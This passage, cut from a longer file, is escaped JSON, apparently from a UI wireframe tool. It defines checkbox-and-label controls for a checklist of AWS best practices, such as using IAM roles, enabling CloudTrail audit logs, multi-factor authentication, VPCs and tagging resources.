alerts.\"}}]}}},{\"ID\":\"408\",\"typeID\":\"__group__\",\"zOrder\":\"44\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"244\",\"y\":\"769\",\"properties\":{\"controlName\":\"check:billing-alerts\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"421\",\"typeID\":\"__group__\",\"zOrder\":\"49\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"244\",\"y\":\"919\",\"properties\":{\"controlName\":\"check:ec2-roles\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"422\",\"typeID\":\"__group__\",\"zOrder\":\"50\",\"measuredW\":\"405\",\"measuredH\":\"28\",\"w\":\"405\",\"h\":\"28\",\"x\":\"291\",\"y\":\"920\",\"properties\":{\"controlName\":\"ec2-roles\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"405\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Prefer EC2 roles over app level IAM account.\"}}]}}},{\"ID\":\"423\",\"typeID\":\"__group__\",\"zOrder\":\"51\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"244\",\"y\":\"959\",\"properties\":{\"controlName\":\"check:group-permissions\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"424\",\"typeID\":\"__group__\",\"zOrder\":\"52\",\"measuredW\":\"361\",\"measuredH\":\"28\",\"w\":\"361\",\"h\":\"28\",\"x\":\"291\",\"y\":\"961\",\"properties\":{\"controlName\":\"group-permissions\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"361\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Assign permissions to groups, not users.\"}}]}}},{\"ID\":\"425\",\"typeID\":\"__group__\",\"zOrder\":\"53\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"244\",\"y\":\"999\",\"properties\":{\"controlName\":\"check:security-audit\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"426\",\"typeID\":\"__group__\",\"zOrder\":\"54\",\"measuredW\":\"317\",\"measuredH\":\"28\",\"w\":\"317\",\"h\":\"28\",\"x\":\"291\",\"y\":\"1001\",\"properties\":{\"controlName\":\"security-audit\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"317\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Set up automated security auditing.\"}}]}}},{\"ID\":\"427\",\"typeID\":\"__group__\",\"zOrder\":\"55\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"244\",\"y\":\"1040\",\"properties\":{\"controlName\":\"check:cloudtrail\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"428\",\"typeID\":\"__group__\",\"zOrder\":\"56\",\"measuredW\":\"321\",\"measuredH\":\"28\",\"w\":\"321\",\"h\":\"28\",\"x\":\"291\",\"y\":\"1042\",\"properties\":{\"controlName\":\"cloudtrail\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"321\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Use CloudTrail to keep an audit log.\"}}]}}},{\"ID\":\"429\",\"typeID\":\"__group__\",\"zOrder\":\"87\",\"measuredW\":\"326\",\"measuredH\":\"28\",\"w\":\"326\",\"h\":\"28\",\"x\":\"281\",\"y\":\"1197\",\"properties\":{\"controlName\":\"terminate-ssl\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"326\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Terminate SSL on the load balancer.\"}}]}}},{\"ID\":\"431\",\"typeID\":\"__group__\",\"zOrder\":\"86\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"235\",\"y\":\"1195\",\"properties\":{\"controlName\":\"check:terminate-ssl\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"432\",\"typeID\":\"__group__\",\"zOrder\":\"89\",\"measuredW\":\"469\",\"measuredH\":\"28\",\"w\":\"469\",\"h\":\"28\",\"x\":\"281\",\"y\":\"1237\",\"properties\":{\"controlName\":\"pre-warm-elb\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"469\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Pre-warm your ELBs if you're expecting heavy traffic.\"}}]}}},{\"ID\":\"433\",\"typeID\":\"__group__\",\"zOrder\":\"88\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"235\",\"y\":\"1235\",\"properties\":{\"controlName\":\"check:pre-warm-elb\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"434\",\"typeID\":\"__group__\",\"zOrder\":\"94\",\"measuredW\":\"342\",\"measuredH\":\"28\",\"w\":\"342\",\"h\":\"28\",\"x\":\"274\",\"y\":\"1389\",\"properties\":{\"controlName\":\"failover-event-subscription\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"342\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Set up event subscriptions for failover.\"}}]}}},{\"ID\":\"435\",\"typeID\":\"__group__\",\"zOrder\":\"93\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"228\",\"y\":\"1388\",\"properties\":{\"controlName\":\"check:failover-event-subscription\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"436\",\"typeID\":\"__group__\",\"zOrder\":\"99\",\"measuredW\":\"127\",\"measuredH\":\"28\",\"w\":\"127\",\"h\":\"28\",\"x\":\"274\",\"y\":\"1536\",\"properties\":{\"controlName\":\"cloudwatch-cli-tools\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"127\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Use CLI tools.\"}}]}}},{\"ID\":\"437\",\"typeID\":\"__group__\",\"zOrder\":\"98\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"228\",\"y\":\"1534\",\"properties\":{\"controlName\":\"check:cloudwatch-cli-tools\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"438\",\"typeID\":\"__group__\",\"zOrder\":\"101\",\"measuredW\":\"190\",\"measuredH\":\"28\",\"w\":\"190\",\"h\":\"28\",\"x\":\"274\",\"y\":\"1576\",\"properties\":{\"controlName\":\"cloudwatch-free-metrics\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"190\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Use the free metrics.\"}}]}}},{\"ID\":\"439\",\"typeID\":\"__group__\",\"zOrder\":\"100\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"228\",\"y\":\"1574\",\"properties\":{\"controlName\":\"check:cloudwatch-free-metrics\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"440\",\"typeID\":\"__group__\",\"zOrder\":\"103\",\"measuredW\":\"219\",\"measuredH\":\"28\",\"w\":\"219\",\"h\":\"28\",\"x\":\"274\",\"y\":\"1616\",\"properties\":{\"controlName\":\"cloudwatch-custom-metrics\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"219\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Use the custom metrics.\"}}]}}},{\"ID\":\"441\",\"typeID\":\"__group__\",\"zOrder\":\"102\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"228\",\"y\":\"1614\",\"properties\":{\"controlName\":\"check:cloudwatch-custom-metrics\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"442\",\"typeID\":\"__group__\",\"zOrder\":\"105\",\"measuredW\":\"220\",\"measuredH\":\"28\",\"w\":\"220\",\"h\":\"28\",\"x\":\"274\",\"y\":\"1655\",\"properties\":{\"controlName\":\"cloudwatch-detailed-monitoring\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"220\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Use detailed monitoring.\"}}]}}},{\"ID\":\"443\",\"typeID\":\"__group__\",\"zOrder\":\"104\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"228\",\"y\":\"1653\",\"properties\":{\"controlName\":\"check:cloudwatch-detailed-monitoring\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"444\",\"typeID\":\"__group__\",\"zOrder\":\"121\",\"measuredW\":\"132\",\"measuredH\":\"28\",\"w\":\"132\",\"h\":\"28\",\"x\":\"276\",\"y\":\"1807\",\"properties\":{\"controlName\":\"use-iam-roles\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"132\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Use IAM roles.\"}}]}}},{\"ID\":\"445\",\"typeID\":\"__group__\",\"zOrder\":\"120\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"230\",\"y\":\"1805\",\"properties\":{\"controlName\":\"check:use-iam-roles\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"446\",\"typeID\":\"__group__\",\"zOrder\":\"123\",\"measuredW\":\"303\",\"measuredH\":\"28\",\"w\":\"303\",\"h\":\"28\",\"x\":\"276\",\"y\":\"1850\",\"properties\":{\"controlName\":\"user-multiple-api-keys\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"303\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Use multiple API keys for different purposes\"}}]}}},{\"ID\":\"447\",\"typeID\":\"__group__\",\"zOrder\":\"122\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"230\",\"y\":\"1848\",\"properties\":{\"controlName\":\"check:user-multiple-api-keys\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"448\",\"typeID\":\"__group__\",\"zOrder\":\"125\",\"measuredW\":\"315\",\"measuredH\":\"28\",\"w\":\"315\",\"h\":\"28\",\"x\":\"276\",\"y\":\"1891\",\"properties\":{\"controlName\":\"multi-factor-auth-iam\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"315\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Use multi-factor auth for IAM users\"}}]}}},{\"ID\":\"449\",\"typeID\":\"__group__\",\"zOrder\":\"124\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"230\",\"y\":\"1889\",\"properties\":{\"controlName\":\"check:multi-factor-auth-iam\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"471\",\"typeID\":\"__group__\",\"zOrder\":\"139\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"230\",\"y\":\"2038\",\"properties\":{\"controlName\":\"check:scale-horizontally\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"472\",\"typeID\":\"__group__\",\"zOrder\":\"140\",\"measuredW\":\"158\",\"measuredH\":\"28\",\"w\":\"158\",\"h\":\"28\",\"x\":\"276\",\"y\":\"2039\",\"properties\":{\"controlName\":\"scale-horizontally\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"158\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Scale horizontally\"}}]}}},{\"ID\":\"473\",\"typeID\":\"__group__\",\"zOrder\":\"141\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"230\",\"y\":\"2079\",\"properties\":{\"controlName\":\"check:app-changes-for-aws\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"474\",\"typeID\":\"__group__\",\"zOrder\":\"142\",\"measuredW\":\"487\",\"measuredH\":\"28\",\"w\":\"487\",\"h\":\"28\",\"x\":\"276\",\"y\":\"2080\",\"properties\":{\"controlName\":\"app-changes-for-aws\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"487\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Your application may require changes to work on AWS.\"}}]}}},{\"ID\":\"475\",\"typeID\":\"__group__\",\"zOrder\":\"143\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"230\",\"y\":\"2121\",\"properties\":{\"controlName\":\"check:redundant-across-azs\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"476\",\"typeID\":\"__group__\",\"zOrder\":\"144\",\"measuredW\":\"467\",\"measuredH\":\"28\",\"w\":\"467\",\"h\":\"28\",\"x\":\"276\",\"y\":\"2122\",\"properties\":{\"controlName\":\"redundant-across-azs\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"467\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Always be redundant across availability zones (AZs).\"}}]}}},{\"ID\":\"477\",\"typeID\":\"__group__\",\"zOrder\":\"145\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"230\",\"y\":\"2162\",\"properties\":{\"controlName\":\"check:beware-aws-limits\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"478\",\"typeID\":\"__group__\",\"zOrder\":\"146\",\"measuredW\":\"445\",\"measuredH\":\"28\",\"w\":\"445\",\"h\":\"28\",\"x\":\"276\",\"y\":\"2163\",\"properties\":{\"controlName\":\"beware-aws-limits\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"445\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Be aware of AWS service limits before you deploy.\"}}]}}},{\"ID\":\"479\",\"typeID\":\"__group__\",\"zOrder\":\"147\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"230\",\"y\":\"2204\",\"properties\":{\"controlName\":\"check:aws-naming-convention\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"480\",\"typeID\":\"__group__\",\"zOrder\":\"148\",\"measuredW\":\"467\",\"measuredH\":\"28\",\"w\":\"467\",\"h\":\"28\",\"x\":\"276\",\"y\":\"2205\",\"properties\":{\"controlName\":\"aws-naming-convention\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"467\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Decide on a naming convention early, and stick to it.\"}}]}}},{\"ID\":\"481\",\"typeID\":\"__group__\",\"zOrder\":\"149\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"230\",\"y\":\"2245\",\"properties\":{\"controlName\":\"check:key-management-strategy\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"482\",\"typeID\":\"__group__\",\"zOrder\":\"150\",\"measuredW\":\"480\",\"measuredH\":\"28\",\"w\":\"480\",\"h\":\"28\",\"x\":\"276\",\"y\":\"2246\",\"properties\":{\"controlName\":\"key-management-strategy\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"480\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Decide on a key-management strategy from the start.\"}}]}}},{\"ID\":\"483\",\"typeID\":\"__group__\",\"zOrder\":\"151\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"230\",\"y\":\"2287\",\"properties\":{\"controlName\":\"check:aws-right-choice\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"484\",\"typeID\":\"__group__\",\"zOrder\":\"152\",\"measuredW\":\"370\",\"measuredH\":\"28\",\"w\":\"370\",\"h\":\"28\",\"x\":\"276\",\"y\":\"2288\",\"properties\":{\"controlName\":\"aws-right-choice\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"370\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Make sure AWS is right for your workload.\"}}]}}},{\"ID\":\"537\",\"typeID\":\"__group__\",\"zOrder\":\"71\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"859\",\"y\":\"1169\",\"properties\":{\"controlName\":\"check:tag-everything\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"538\",\"typeID\":\"__group__\",\"zOrder\":\"72\",\"measuredW\":\"230\",\"measuredH\":\"28\",\"w\":\"230\",\"h\":\"28\",\"x\":\"907\",\"y\":\"1170\",\"properties\":{\"controlName\":\"tag-everything\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"230\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Assign tags to everything.\"}}]}}},{\"ID\":\"539\",\"typeID\":\"__group__\",\"zOrder\":\"73\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"859\",\"y\":\"1210\",\"properties\":{\"controlName\":\"check:termination-protection\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"540\",\"typeID\":\"__group__\",\"zOrder\":\"74\",\"measuredW\":\"524\",\"measuredH\":\"28\",\"w\":\"524\",\"h\":\"28\",\"x\":\"907\",\"y\":\"1211\",\"properties\":{\"controlName\":\"termination-protection\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"524\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Use termination protection for non-auto-scaling instances.\"}}]}}},{\"ID\":\"541\",\"typeID\":\"__group__\",\"zOrder\":\"75\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"859\",\"y\":\"1251\",\"properties\":{\"controlName\":\"check:use-vpc\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"542\",\"typeID\":\"__group__\",\"zOrder\":\"76\",\"measuredW\":\"98\",\"measuredH\":\"28\",\"w\":\"98\",\"h\":\"28\",\"x\":\"907\",\"y\":\"1252\",\"properties\":{\"controlName\":\"use-vpc\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"98\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Use a VPC\"}}]}}},{\"ID\":\"543\",\"typeID\":\"__group__\",\"zOrder\":\"77\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"859\",\"y\":\"1292\",\"properties\":{\"controlName\":\"check:reserved-instances\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"544\",\"typeID\":\"__group__\",\"zOrder\":\"78\",\"measuredW\":\"370\",\"measuredH\":\"28\",\"w\":\"370\",\"h\":\"28\",\"x\":\"907\",\"y\":\"1293\",\"properties\":{\"controlName\":\"reserved-instances\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"370\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Use reserved instances to save big $$$.\"}}]}}},{\"ID\":\"545\",\"typeID\":\"__group__\",\"zOrder\":\"79\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"859\",\"y\":\"1333\",\"properties\":{\"controlName\":\"check:lock-security-groups\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"546\",\"typeID\":\"__group__\",\"zOrder\":\"80\",\"measuredW\":\"285\",\"measuredH\":\"28\",\"w\":\"285\",\"h\":\"28\",\"x\":\"907\",\"y\":\"1334\",\"properties\":{\"controlName\":\"lock-security-groups\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"285\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Lock down your security groups.\"}}]}}},{\"ID\":\"547\",\"typeID\":\"__group__\",\"zOrder\":\"81\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"859\",\"y\":\"1374\",\"properties\":{\"controlName\":\"check:release-eips\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"548\",\"typeID\":\"__group__\",\"zOrder\":\"82\",\"measuredW\":\"328\",\"measuredH\":\"28\",\"w\":\"328\",\"h\":\"28\",\"x\":\"907\",\"y\":\"1375\",\"properties\":{\"controlName\":\"release-eips\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"328\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Don't keep unassociated Elastic 